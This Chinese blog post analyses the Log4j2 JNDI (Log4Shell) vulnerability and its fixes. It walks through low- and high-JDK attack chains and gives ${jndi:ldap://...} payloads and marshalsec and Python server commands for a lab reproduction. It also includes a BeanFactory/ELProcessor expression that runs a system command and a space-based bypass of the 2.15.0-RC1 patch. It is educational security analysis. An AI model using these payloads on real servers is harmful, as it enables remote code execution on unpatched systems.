一、前言

上周五（12月10日）应该是全世界程序员都不得安宁的一天。楼主早上一到公司就收到安全部分通知Log4j2出现严重安全漏洞，攻击者可以利用该漏洞在服务器上执行任意指令，从而操控服务器。于是一整天我们整个团队都在忙于修复Log4j2漏洞。从最开始修改JVM参数，到后来的2.15.0-RC1版本，再到最后的2.15.0发布版，简直是一波三折啊。当时我们还在和同事开玩笑，“今天全世界程序员都要加班了”。

漏洞修复完成后，作为一个程序对代码起码的尊重，楼主便开始通过各种途径查找本次漏洞相关各类资料，打算对漏洞做一个全面分析了解。抱着”知其然，且知其所以然“精神。于是楼主带着如下问题，开始了查找之旅。

1、Log4j2漏洞复现步骤（攻击步骤）

2、Log4j2漏洞的原理（为什么存在）

3、Log4j2漏洞中2.15.0-RC1版本为什么会被绕过

4、Log4j2最终修复方案（2.15.0）的原理是什么

通过大量的网络查找，楼主才终于弄清楚了上面的所有问题，同时也对本次漏洞有了深入的分析和理解。在这个过程中楼主发现一个问题，网上基本没有一篇文章能够把本次漏洞讲得清楚彻底。甚至网上通用的的复现步骤，在现在的Java主流版本中，根本就无法复现。因为该漏洞在java高版本和低版本下需要不同的攻击方式，才能达到攻击的目的。

于是楼主决定编写本文来和大家一起对该漏洞进行全面深入的剖析。本文将从如下基本方面进行讲解。

1、Log4j2漏洞的基本原理

2、Log4j2漏洞在Java高低版本中的攻击原理

3、Log4j2漏洞在Java高低版本中的攻击步骤

4、Log4j2漏洞在2.15.0-RC1中被绕过的原因

5、Log4j2最终修复方案（2.15.0）的原理

其实这个漏洞在11月底就被发现了，且Log4j2官方在12月5号就已经在开始修复该漏洞。

二、Log4j2漏洞原理

1、基础知识

A、什么是JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展，提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样，JDNI是provider-based的技术，暴露了一个API和一个服务供应接口（SPI）。这意味着任何基于名字的技术都能通过JNDI而提供服务，只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service（COS）名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术，包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中，文件名被绑定给文件。在DNS中，一个IP地址绑定一个URL。在目录服务中，一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如，每个上下文提供了一个查找操作，返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间，即使用分层上下文以及使用相同命名语法的子上下文。

 参考：JNDI是什么_百度知道

简单来说：通过JNDI提供了"通过名称找到对应的对象"的规范定义，即SPI功能，实现则由具体的技术支持，如：LDAP，RMI，DNS，Database。比如在JNDI支持的数据源中，如下图(具体请参考：JNDI学习总结(一)——JNDI数据源的配置 - 孤傲苍狼 - 博客园)，我们可以通过”jdbc/oracle“获取到Oracle对应的数据库连接池对象，并直接用于操作数据库即可。

B、什么是LDAP

目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，支持过滤功能。

LDAP（Light Directory Access Portocol），它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库，它成树状结构组织数据，类似文件目录一样。

目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

参考：LDAP概念和原理介绍 - WilburXu - 博客园

简单来说：LDAP是一个目录服务，可以通过目录路径查询到对应目录下的对象（文件）等。即其也是JNDI的实现，通过名称（目录路径）查询到对象（目录下的文件）。

C、什么是Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件，如果根据类名，提供类对应的Class文件。

参考：PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

2、Java低版本原理（网上普遍攻击原理）

A、原理概述

Log4j2漏洞总的来说就是：因为Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容（如：恶意内容${jndi:ldap://localhost:9999/Test}恶意内容），该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行（可执行任意后台指令），从而达到攻击的目的。

B、恶意代码编写

我们一直在提到恶意的Class文件，那么恶意类的Java代码是怎样的呢？写个main函数？（给大家10秒钟时间想想）

如果大家初步理解了上面的原理概述就知道，直接写main函数不行，因为整个过程中Java并没有执行Class文件中的任何方法，只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下：

该模拟攻击代码比较简单，只是在mac电脑上打开文件管理器。

C、攻击流程与原理

接下来咱们一起分析下具体原理，整个攻击原理和流程如下图所示。

PS：由于源码涉及比较多，所以本文不会详细降解源码，只会大致梳理下关键调用链。其源码本身也比较简单，有兴趣的同学自己Debug跟一下，就能清楚的理解整个源码逻辑。

1、首先攻击者遭到存在风险的接口（接口会将前端输入直接通过日志打印出来），然后向该接口发送攻击内容：${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后，通过Logj42工具将其作为日志打印。

源码：org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${}，读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法，尝试完成Ldap的Lookup操作。

源码：StrSubstitutor.substitute(...) --解析出${}中的内容：jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(...) --处理解析出的内容，执行lookup

                > Interpolator.lookup(...) --根据jndi找到jndi的处理类

                        > JndiLookup.lookup(...)

                        > JndiManager.lookup(...)

                                > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

PS：后续步骤都是Java内部提供的Lookup能力，和Log4j2无关。

4、请求Ldap服务器，获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端，需要从该Codebase去获取其需要的Class数据。

源码：LdapCtx.c_lookup(...) 请求并处理数据 （ldap中指定了javaCodeBase=）

                >Obj.decodeObject --解析到ldap结果，得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径，去Codebase下载对应的Class文件，并通过类加载器将其加载为Class类，然后调用其默认构造函数将该Class类实例化成一个对象。

源码：VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类。

这里就会导致我们攻击代码中的静态块中的内容被执行。

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步：

1、攻击则发送带有恶意Ldap内容的字符串，让服务通过log4j2打印

2、log4j2解析到ldap内容，会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器（恶意服务器），得到了Codebase地址，告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类（恶意类），并在本地加载和实例化（触发恶意代码）。

PS：留个问题，因为恶意Factory类会被加载和通过默认构造函数构造，那么我们是否可以通过在默认构造函数中执行恶意代码来实现攻击，而不是在static静态块中实现？

3、JDK高版本为何无效

A、哪些版本受影响

上述所有操作都需要JDK版本低于JDK 8u191才可以实现。而JDK8u191的版本在三年前就已经发布了。所有现在主流的服务器应该都基本是JDK高版本的。所以该攻击在主流版本上无法使用。

参考：PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

B、为何失效

那为什么该攻击在高版本无效呢？我们一起来看下。

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断，如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件，且该变量默认为false。

所以高版本的Java的请求逻辑如下。即无法请求Codebase，整个攻击因此失效。

但是我们还是可以正常请求Ldap服务器，所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码，从而实现注入攻击。接下来，我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。

C、手动修改trustURLCodebase实现攻击？

其实我们在模拟的时候完全可以通过System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");将其指定为true，这样我们就能够在高版本上执行攻击模拟。网上很多文章也确实是这样做的，但其基本没有解释这样做的原因。

如果是为了在高版本验证低版本的攻击步骤，那么这样做完全OK。但是对于分析Logj42漏洞原理来说，这样做就不太合适。因为分析的目的就是要知道高版本如何实现攻击。这样我们才能够找到具体的防护方法。

再者，如果你是攻击者，你该不会期望哪个服务器会主动把trustURLCodebase设置为true，等着你来攻击吧。

4、Java高版本原理

A、Lookup的基本功能

在开始分享高版本攻击原理前，我们需要先了解下Java底层Ldap的Lookup的基本功能。因为低版本攻击中，我们不太需要关注这一块，所以没有具体讲解。但高版本则需要依赖该功能达到攻击的目的。

当Java底层请求Ldap服务器后，Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion，以及一些额外参数。客户端获得这些参数之后主要做一件事情：构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。这个过程中需要注意如下几点：

1、javaFactory类需要是ObjectFactory的子类。

2、javaFactory有两个来源：来自Codebase（Ldap返回Codebase地址），或者来自本地（Ldap返回对应javaFactory的类地址）。

        对于来自Codebase的Factory：和低版本中的逻辑一样，我们需要请求Codebase获取其Class文件，然后加载该Factory类，并使用默认构造函数实例化出Factory实例。

        来自本地的Factory：则直接根据Ldap返回的路径（类限定符），通过Class.forName进行加载和实例化。

3、得到javaFactory实例后，我们需要构建通过javaFactory实例构建出JavaClassName指定的对象。

4、Log4j2通过javaFactory得到对应的对象之后，会调用其toString方法将其转换为字符串，然后用该字符串替换日志中的${...}内容，最后打印出来。

源码：DirectoryManager.getObjectInstance

B、攻击者如何利用Ldap

1、JDK低版本如何利用Ldap实现攻击

通过上面低版本的原理分析可知，我们根据在Ldap构造了javaFactoryLocation指向Codebase，告诉客户端需要从远端Codebase去获取需要的javaFactory类。获取到之后，然后使其使用本地的类加载器加载远程恶意的javaFactory类的，然后其在加载的过程中执行恶意的static代码块，从而实现攻击。

2、JDK高版本如何利用Ldap实现攻击

我们知道高版本已经无法去Codebase获取javaFactory的Class文件，所以我们想通过让客户端加载和实例化我们恶意构建的javaFactory来实现攻击是不可能的了。

但是，我们还可以走本地javaFactory这条路。即让Ldap实例化一个本地存在的javaFacotry，并用该javaFactory实例化一个本地存在的类。因此我们需要找到本地哪些javaFactory存在一些可以被利用的漏洞。

C、JDK高版本的具体攻击原理

高版本攻击原理参考：Exploiting JNDI Injections in Java | Veracode blog

参考文章中提到了tomcat携带的org.apache.naming.factory.BeanFactory类就是一个存在风险的ObjectFactory子类。通过该Factory我们可以通过默认构造函数实例化任意一个类，并调用其任意的只有一个String入参的公共方法，且其方法名可以不用是标准setter的名称，而可以是任意名称。因为我们可以通过forceString来制定某个String变量的setter方法名称。（具体逻辑大家自己看下BeanFactory.getObjectInstance的源码即可）

 基于此能力，我们就可利用javax.el.ELProcessor类，因为其有个eval方法，只有一个Stirng入参。其可以执行EL表达式，从而执行任意指令。

比如我们让其执行如下EL表达式，就能够达到让其在mac下执行”open .“指令的功能。

\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','.']).start()\")

所以我们只需要Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory，javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码，forceString="x=eval"。

这样客户端拿到指令之后就会做如下操作：

1、直接在本地加载和实例化BeanFactory工厂，得到BeanFacory实例

2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor，得到ELProcessor实例

3、Ldap告诉BeanFactory，ELProcessor有一个string类型的变量x（实际没有），其内容为恶意代码块，且该变量的setter方法名为eval。

4、BeanFactory就会执行ELProcessor实例的eval方法，且入参为恶意代码块。

至此我们就达到执行让ELProcessor通过eval执行恶意代码的目的，从而实现远程攻击。

整个攻击流程如下：

Log4j2漏洞的攻击原理就介绍到这里。接下来我们一起来实战下基于Log4j2漏洞如何实现对服务器的攻击。

PS：给大家留个小问题，上述基于ELProcessor的攻击方法，有什么限制呢？

三、Log4j2漏洞复现步骤（攻击方法）

1、基础环境说明与搭建

通过上述原理分析可知，我们主要涉及到三个系统：被攻击服务、恶意Ldap服务和恶意Codebase服务。

A、被攻击服务搭建

这个服务比较简单，只需部署一个简单的web工程，然后要引入log4j2（2.15.0以下版本）打印日志。然后编写一个简单的Controller将接口传入的参数通过日志打印出来即可。

B、恶意Ldap服务搭建

搭建Ldap服务有两个途径：自己使用ldapsdk的jar包实现一个ldap服务，或者使用现成的marshalsec实现。

这里我们选择使用现成的marshalsec实现。

首先我们从github上克隆该代码（https://github.com/mbechler/marshalsec）

然后再工程根目录下执行mvn clean package -DskipTests对进行编译打包。

完成之后执行如下指令，在9999端口上启动该ldap服务：

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

开启之后会看到如下日志。

C、恶意Codebase服务搭建

这个服务比较简单，只需要在请求的时候，能够具体返回该请求对应的Class文件即可。

于是我们编写恶意代码Test.java，然后使用javac将其编译成Class文件。

然后我们在该目录执行python3 -m http.server 8888，在端口8888上基于该目录启动一个简单的http服务。当我们访问http://localhost:8888/Test.class的时候，该服务就会返回该目录下对应的Class文件。

2、Java低版本的复现步骤

现在我们开始执行恶意攻击。我们调用attack接口传入如下参数：

接着我们在Ldap的服务端可以看到如下日志，其表示其告诉客户端到Codebase去获取它需要的Class文件。

同时在Codebase的服务端可以看到如下日志。 标记了被攻击服务端来请求Test.class的记录和状态。

 然后电脑就会弹出文件管理器。至此攻击完成。

3、Java高版本的复现步骤

通过攻击原理我们知道，高版本攻击我们不依赖Codebase服务。但是我们需要Ldap服务器返回ELProcessor相关的类。所以我们需要对marshalsec源码进行修改。然后重新编译打包再启动服务。

因为咱们攻击依赖的ELProcessor和BeanFactory存在Tomcat包中。所以我们需要在marshalsec工程中引入Tomcat依赖。

 然后需要将LDAPRefServer类中的方法sendResult修改为如下内容：

然后我们通过mvn clean package -DskipTests对其进行重新编译打包。并通过java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999启动即可。（其实http://localhost:8888/#Test是Codebase地址我们没有使用，但是因为我们没有修改启动逻辑，所以仍然需要传递）

一切就绪之后，我们通过调用attack接口实现攻击了。

执行完成后，同样电脑就会弹出文件管理器。至此攻击完成。

四、Log4j2漏洞修复原理

1、修复原理（官方如何修复）

其实查看Log4j2最新提交的代码(https://github.com/apache/logging-log4j2)，咱们很容易就能看到其修复方法。

官方主要通过两个途径来修复该问题：新增jndi开关（默认关闭）和新增jndi相关域名、协议和Class白名单。

A、新增Jndi开关

在JndiManager中新增了jndi开关，通过log4j2.enableJndi参数来控制。默认为false。 

同时在新建JndiManager管理类时会判断，如果开关关闭，则创建空的JndiManager类，即空的JndiManager无法执行任何JNDI操作。

 空JndiManager执行lookup方法时会直接返回null。不会执行真正的lookup逻辑。

B、新增白名单

由于Jndi功能在有些业务条件下需要使用。所以官方不能完全禁止用户使用。于是如果使用者主动开启了jndi功能，那么我们要怎么防止被攻击呢？官方使用了一个比较简单的办法，即给协议、class和域名都添加白名单。这样只要使用者合理的使用都不会有问题。

默认白名单的协议：JAVA、LDAP、LDAPS

默认白名单的域名：localhost

默认白名单支持的类：基本类型对应的对象。

 在执行lookup的时候，其会校验对应的白名单。

官方修复方案的介绍就到这里。这里我们只讲解了核心代码，具体逻辑大家可以下载Log4j2的源码，查看从5号开始的改动即可。 

PS：留个问题，为什么我们控制好了Jndi就可以解决由于Ldap导致的漏洞。

2、2.15.0-RC1版本为何会被绕过

这个版本的绕过和其实很有意思。原因是因为在JndiManager.lookup的方法中，当执行各类白名单过滤操作中，如果抛出异常。在RC1的版本中，其没有做任何处理，导致只要抛出异常就能够正常的执行后续的lookup逻辑。从而绕过了白名单检测。

于是后续做了修正，只要抛出异常就直接返回null。

那么我们可以如何绕过呢? 这里我们参考了文章安全漏洞之Log4j2漏洞复现绕过分析。通过URI中不进行URL编码会报报错URISyntaxException，在URL中添加一个空格即可触发，比如：${jndi:ldap://127.0.0.1:1389/ badClassName}。如下是对URI构造函数做空格测试的结果： 

虽然对空格做编码导致异常，但是lookup时候会去掉这个空格。所以异常之后后续的lookup也能够正常执行。

3、JVM参数formatMsgNoLookups的修复原理（不建议）

这个比较简单，就是通过JVM设置一个参数formatMsgNoLookups=true。让Log4j2在处理${}消息的时候，不执行lookup操作。

 其实这种方式也是可以解决漏洞的。但是存在一个问题：如果服务本身就需要利用Log4j2的jndi功能。配置参数后就无法使用。所以作为官方解决方案来说，该方法还是存在不妥之处。

于是官方最终采用了jdni开关+白名单的方式来解决了该问题。

至此Log4j2漏洞的深入剖析就和大家分享完了。如果你喜欢本文或觉得本文对你有所帮助，欢迎一键三连支持，非常感谢。

五、惯例

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